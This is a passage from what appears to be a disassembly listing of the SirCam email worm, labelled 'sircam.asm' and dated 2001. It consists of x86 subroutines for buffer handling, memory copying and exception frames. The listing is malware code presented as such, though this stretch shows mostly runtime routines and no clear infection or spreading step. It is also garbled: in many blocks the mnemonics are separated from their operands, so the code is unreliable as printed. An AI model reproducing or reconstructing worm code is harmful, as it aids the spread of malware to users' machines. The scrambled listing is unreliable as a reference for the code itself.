sub_40D940 [ebp+var_4], eax eax, eax ebp offset loc_40DB48 dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_4] eax, ebx sub_40DAC8 eax, eax edx ecx ecx fs:[eax], edx offset loc_40DB4F loc_40DB3F: sub_40DB00 ; CODE XREF: CODE:0040DB4D\031j mov eax, [ebp+var_4] call sub_402BDC retn endp ; sp = -10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DB48: ; DATA XREF: sub_40DB00+1D\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40DB3F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DB4F: ; DATA XREF: sub_40DB00+3A\030o pop ebx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40DB54 proc near push push mov mov mov mov mov call mov mov mov ; CODE XREF: sub_40DAB0+7\030p ; sub_40DB7C+E\031p ... ebx ecx [esp+0], edx ebx, eax edx, esp eax, ebx ecx, [eax] dword ptr [ecx+10h] edx, eax ecx, [ebx+8] eax, ebx sircam.asm sub_40DB54 Fri Aug 10 12:42:44 2001 call mov mov pop pop retn endp 386 sub_40DA20 eax, [esp+0] [ebx+10h], eax edx ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40DB7C proc near ; DATA XREF: CODE:0040BE60\030o push ebx push esi push edi mov esi, edx mov ebx, eax mov edi, [ebx+0Ch] mov edx, esi mov eax, ebx call sub_40DB54 mov [ebx+8], esi cmp esi, edi jge short loc_40DBA3 mov cx, 2 xor edx, edx mov eax, ebx mov ebx, [eax] call dword ptr [ebx+0Ch] loc_40DBA3: sub_40DB7C ; CODE XREF: sub_40DB7C+18\030j pop pop pop retn endp edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40DBA8 proc near ; DATA XREF: CODE:0040BE70\030o push ebx push esi push edi cmp dword ptr [edx], 0 jle short loc_40DBC0 mov ecx, [edx] add ecx, 1FFFh and ecx, 0FFFFE000h mov [edx], ecx loc_40DBC0: mov mov mov mov cmp jz cmp jnz mov call xor jmp ; CODE XREF: sub_40DBA8+6\030j esi, [eax+4] ecx, esi edi, [edx] ebx, [eax+10h] edi, ebx short loc_40DC24 dword ptr [edx], 0 short loc_40DBDE eax, esi sub_405EA8 ecx, ecx short loc_40DC24 sircam.asm Fri Aug 10 12:42:44 2001 387 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DBDE: ; CODE XREF: sub_40DBA8+29\030j test ebx, ebx jnz short loc_40DBF5 mov eax, ds:off_41DC34 movzx eax, word ptr [eax] mov edx, [edx] call sub_405E7C mov ecx, eax jmp short loc_40DC09 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DBF5: mov movzx mov mov call mov ; CODE XREF: sub_40DBA8+38\030j ecx, ds:off_41DC34 ecx, word ptr [ecx] edx, [edx] eax, esi sub_405E8C ecx, eax test jnz mov mov mov call call ; CODE XREF: sub_40DBA8+4B\030j ecx, ecx short loc_40DC24 ecx, ds:off_41DC6C dl, 1 eax, ds:off_40B530 sub_40950C sub_402F98 loc_40DC09: loc_40DC24: sub_40DBA8 ; CODE XREF: sub_40DBA8+24\030j ; sub_40DBA8+34\030j ... mov pop pop pop retn endp eax, ecx edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40DC2C proc near ; DATA XREF: CODE:0040BE68\030o push ebx push esi push edi push ebp mov esi, ecx mov ebp, edx mov ebx, eax mov eax, [ebx+0Ch] test eax, eax jl short loc_40DC75 test esi, esi jl short loc_40DC75 mov edi, eax add edi, esi test edi, edi jle short loc_40DC75 cmp edi, [ebx+8] jle short loc_40DC5F cmp edi, [ebx+10h] jle short loc_40DC5C mov edx, edi mov eax, ebx call sub_40DB54 sircam.asm Fri Aug 10 12:42:44 2001 loc_40DC5C: 388 ; CODE XREF: sub_40DC2C+25\030j mov [ebx+8], edi loc_40DC5F: ; CODE XREF: sub_40DC2C+20\030j mov edx, [ebx+4] add edx, [ebx+0Ch] mov eax, ebp mov ecx, esi call sub_4026B0 mov [ebx+0Ch], edi mov eax, esi jmp short loc_40DC77 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DC75: ; CODE XREF: sub_40DC2C+F\030j ; sub_40DC2C+13\030j ... xor eax, eax pop pop pop pop retn endp ebp edi esi ebx loc_40DC77: sub_40DC2C ; CODE XREF: sub_40DC2C+47\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40DC7C proc near var_8 var_4 = dword ptr -8 = dword ptr -4 ; CODE XREF: sub_40E3D0+4E\031p push mov add push push push mov mov cmp jz mov call mov xor push push push mov mov dec cmp jl ebp ebp, esp esp, 0FFFFFFF8h ebx esi edi [ebp+var_8], edx [ebp+var_4], eax ds:dword_41E624, 0 loc_40DD1E eax, ds:dword_41E624 sub_40C4B0 edi, eax eax, eax ebp offset loc_40DD17 dword ptr fs:[eax] fs:[eax], esp ebx, [edi+8] ebx ebx, 0 short loc_40DCFF mov mov call mov cmp jz mov cmp jnz edx, ebx eax, edi sub_40C20C esi, eax [ebp+var_4], 0 short loc_40DCD4 eax, [esi+8] eax, [ebp+var_4] short loc_40DCF9 loc_40DCBB: ; CODE XREF: sub_40DC7C+81\031j sircam.asm Fri Aug 10 12:42:44 2001 loc_40DCD4: 389 ; CODE XREF: sub_40DC7C+4E\030j cmp jz mov mov call test jz [ebp+var_8], 0 short loc_40DCE9 edx, [esi+10h] eax, [ebp+var_8] sub_406E40 al, al short loc_40DCF9 mov mov call mov call edx, ebx eax, edi sub_40C11C eax, esi sub_402BDC loc_40DCE9: ; CODE XREF: sub_40DC7C+5C\030j loc_40DCF9: ; CODE XREF: sub_40DC7C+56\030j ; sub_40DC7C+6B\030j dec cmp jnz ebx ebx, 0FFFFFFFFh short loc_40DCBB xor pop pop pop mov push ; CODE XREF: sub_40DC7C+3D\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40DD1E loc_40DCFF: loc_40DD0C: ; CODE XREF: sub_40DC7C+A0\031j mov eax, ds:dword_41E624 call sub_40C514 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DD17: ; DATA XREF: sub_40DC7C+2B\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40DD0C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DD1E: sub_40DC7C ; CODE XREF: sub_40DC7C+16\030j ; DATA XREF: sub_40DC7C+8B\030o pop pop pop pop pop pop retn endp edi esi ebx ecx ecx ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40DD28 proc near var_4 = dword ptr -4 push mov push push push push ebp ebp, esp ecx ebx esi edi ; CODE XREF: sub_40C520+D\030p sircam.asm Fri Aug 10 12:42:44 2001 390 mov cmp jz mov call mov xor push push push mov mov dec cmp jl [ebp+var_4], eax ds:dword_41E624, 0 short loc_40DDA6 eax, ds:dword_41E624 sub_40C4B0 edi, eax eax, eax ebp offset loc_40DD9F dword ptr fs:[eax] fs:[eax], esp ebx, [edi+8] ebx ebx, 0 short loc_40DD87 mov mov call mov mov cmp jnz mov mov call mov call edx, ebx eax, edi sub_40C20C esi, eax eax, [esi+4] eax, [ebp+var_4] short loc_40DD81 edx, ebx eax, edi sub_40C11C eax, esi sub_402BDC dec cmp jnz ebx ebx, 0FFFFFFFFh short loc_40DD5E xor pop pop pop mov push ; CODE XREF: sub_40DD28+34\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40DDA6 loc_40DD5E: ; CODE XREF: sub_40DD28+5D\031j loc_40DD81: ; CODE XREF: sub_40DD28+47\030j loc_40DD87: loc_40DD94: ; CODE XREF: sub_40DD28+7C\031j mov eax, ds:dword_41E624 call sub_40C514 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DD9F: ; DATA XREF: sub_40DD28+22\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40DD94 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DDA6: sub_40DD28 ; CODE XREF: sub_40DD28+11\030j ; DATA XREF: sub_40DD28+67\030o pop pop pop pop pop retn endp edi esi ebx ecx ebp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40DDAC proc near ; CODE XREF: sub_40DDC4+5\031p sircam.asm sub_40DDAC Fri Aug 10 12:42:44 2001 push mov mov mov mov call call pop retn endp 391 ebx ebx, eax ecx, ebx dl, 1 eax, ds:off_40B698 sub_40950C sub_402F98 ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40DDC4 proc near ; CODE XREF: sub_40DDD0+1B\031p ; sub_40DEEC+3D\031p eax, ds:off_41DBE8 sub_40DDAC sub_40DDC4 mov call retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40DDD0 proc near push push mov mov mov call cmp jz dec mov call call ebx esi ebx, edx esi, eax eax, esi sub_40DF4C bl, al short loc_40DDF0 dword ptr [esi+10h] eax, esi sub_40E0AC sub_40DDC4 pop pop retn endp esi ebx loc_40DDF0: sub_40DDD0 ; CODE XREF: sub_40DEA0+2\031p ; sub_40DEA8+2\031p ; CODE XREF: sub_40DDD0+F\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40DDF4 proc near sub_40DDF4 push mov mov call test setz dec pop retn endp ; CODE XREF: sub_40CF60+60\030p ; sub_40DFA8+15\031p ... ebx ebx, eax eax, ebx sub_40DF4C al, al al dword ptr [ebx+10h] ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm sub_40DE08 sub_40DE08 Fri Aug 10 12:42:44 2001 392 proc near ; CODE XREF: sub_40E04C+E\031p push ebx mov ebx, eax mov eax, ebx call sub_40DF4C dec dword ptr [ebx+10h] pop ebx retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40DE18 proc near ; CODE XREF: sub_40DEB0+10\031p ; sub_40DEB0+33\031p ... push esi push edi push ebx mov edi, edx mov ebx, ecx mov esi, eax jmp short loc_40DE59 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DE23: ; CODE XREF: sub_40DE18+43\031j mov sub ja mov call mov ecx, [esi+14h] ecx, [esi+10h] short loc_40DE35 eax, esi sub_40DE64 ecx, [esi+14h] cmp jb mov ecx, ebx short loc_40DE3B ecx, ebx loc_40DE35: ; CODE XREF: sub_40DE18+11\030j loc_40DE3B: ; CODE XREF: sub_40DE18+1F\030j push esi sub ebx, ecx mov eax, [esi+8] add eax, [esi+10h] add [esi+10h], ecx mov esi, eax mov edx, ecx shr ecx, 2 cld repe movsd mov ecx, edx and ecx, 3 repe movsb pop esi loc_40DE59: sub_40DE18 ; CODE XREF: sub_40DE18+9\030j or jnz pop pop pop retn endp ebx, ebx short loc_40DE23 ebx edi esi ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 sircam.asm Fri Aug 10 12:42:44 2001 393 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40DE64 proc near ; CODE XREF: sub_40DE18+15\030p push ebx push esi mov ebx, eax mov edx, [ebx+8] mov ecx, [ebx+0Ch] mov eax, [ebx+4] mov esi, [eax] call dword ptr [esi+4] mov esi, eax mov [ebx+14h], esi test esi, esi jnz short loc_40DE96 mov ecx, ds:off_41DC54 mov dl, 1 mov eax, ds:off_40B698 call sub_40950C call sub_402F98 loc_40DE96: sub_40DE64 ; CODE XREF: sub_40DE64+19\030j xor mov pop pop retn endp eax, eax [ebx+10h], eax esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40DEA0 sub_40DEA0 proc near mov dl, 1 call sub_40DDD0 retn endp ; CODE XREF: sub_40CF60+22\030p ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40DEA8 proc near sub_40DEA8 xor call retn endp ; CODE XREF: CODE:0040CFE9\030p ; sub_40DFA8+20\031p ... edx, edx sub_40DDD0 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40DEB0 proc near push push push mov mov mov mov mov call xor mov ebx esi ecx esi, edx ebx, eax edx, esp ecx, 1 eax, ebx sub_40DE18 ecx, ecx cl, [esp+0] ; CODE XREF: sub_40DF60+1B\031p ; sub_40E0AC+DC\031p ... sircam.asm sub_40DEB0 Fri Aug 10 12:42:44 2001 mov xor call mov call mov xor mov mov call pop pop pop retn endp 394 eax, esi edx, edx sub_4035B0 eax, esi sub_4038F4 edx, eax ecx, ecx cl, [esp+0] eax, ebx sub_40DE18 edx esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40DEEC proc near ; CODE XREF: sub_40CF60+4D\030p push ebx push esi push ecx mov esi, edx mov ebx, eax xor eax, eax mov [esp+0], eax mov eax, ebx call sub_40DF4C sub al, 6 jz short loc_40DF09 sub al, 6 jz short loc_40DF19 jmp short loc_40DF29 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DF09: ; CODE XREF: sub_40DEEC+15\030j mov edx, esp mov ecx, 1 mov eax, ebx call sub_40DE18 jmp short loc_40DF2E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DF19: ; CODE XREF: sub_40DEEC+19\030j mov edx, esp mov ecx, 4 mov eax, ebx call sub_40DE18 jmp short loc_40DF2E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DF29: ; CODE XREF: sub_40DEEC+1B\030j call sub_40DDC4 loc_40DF2E: ; CODE XREF: sub_40DEEC+2B\030j ; sub_40DEEC+3B\030j mov mov xor call mov mov mov call pop pop pop retn eax, esi ecx, [esp+0] edx, edx sub_4035B0 edx, [esi] ecx, [esp+0] eax, ebx sub_40DE18 edx esi ebx sircam.asm sub_40DEEC Fri Aug 10 12:42:44 2001 395 endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40DF4C proc near sub_40DF4C push mov mov call mov pop retn endp ; CODE XREF: sub_40DDD0+8\030p ; sub_40DDF4+5\030p ... ecx edx, esp ecx, 1 sub_40DE18 al, [esp+0] edx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40DF60 proc near var_4 = dword ptr -4 ; CODE XREF: sub_40E0AC+EF\031p push mov push push mov xor push push push mov ebp ebp, esp 0 ebx ebx, eax eax, eax ebp offset loc_40DF9C dword ptr fs:[eax] fs:[eax], esp lea mov call cmp jnz xor pop pop pop mov push ; CODE XREF: sub_40DF60+24\031j edx, [ebp+var_4] eax, ebx sub_40DEB0 [ebp+var_4], 0 short loc_40DF76 eax, eax edx ecx ecx fs:[eax], edx offset loc_40DFA3 loc_40DF76: loc_40DF93: sub_40DF60 ; CODE XREF: CODE:0040DFA1\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DF9C: ; DATA XREF: sub_40DF60+B\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40DF93 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DFA3: ; DATA XREF: sub_40DF60+2E\030o pop ebx sircam.asm Fri Aug 10 12:42:44 2001 396 pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40DFA8 proc near arg_0 = dword ptr ; CODE XREF: sub_40E0AC+8D\031p 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] add ebx, 0FFFFFFFCh jmp short loc_40DFBB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DFB4: ; CODE XREF: sub_40DFA8+1C\031j mov call eax, [ebx] sub_40E0AC mov call test jz mov call pop pop retn endp eax, [ebx] sub_40DDF4 al, al short loc_40DFB4 eax, [ebx] sub_40DEA8 ebx ebp loc_40DFBB: sub_40DFA8 ; CODE XREF: sub_40DFA8+A\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40DFD0 proc near var_100 arg_0 = byte ptr -100h = dword ptr 8 push mov add push mov test jle ; CODE XREF: sub_40E024+1E\031p ; sub_40E04C+29\031p ... ebp ebp, esp esp, 0FFFFFF00h ebx ebx, eax ebx, ebx short loc_40E01F loc_40DFE0: ; CODE XREF: sub_40DFD0+4D\031j cmp ebx, 100h jle short loc_40E006 lea edx, [ebp+var_100] mov eax, [ebp+arg_0] mov eax, [eax-4] mov ecx, 100h call sub_40DE18 sub ebx, 100h jmp short loc_40E01B ; 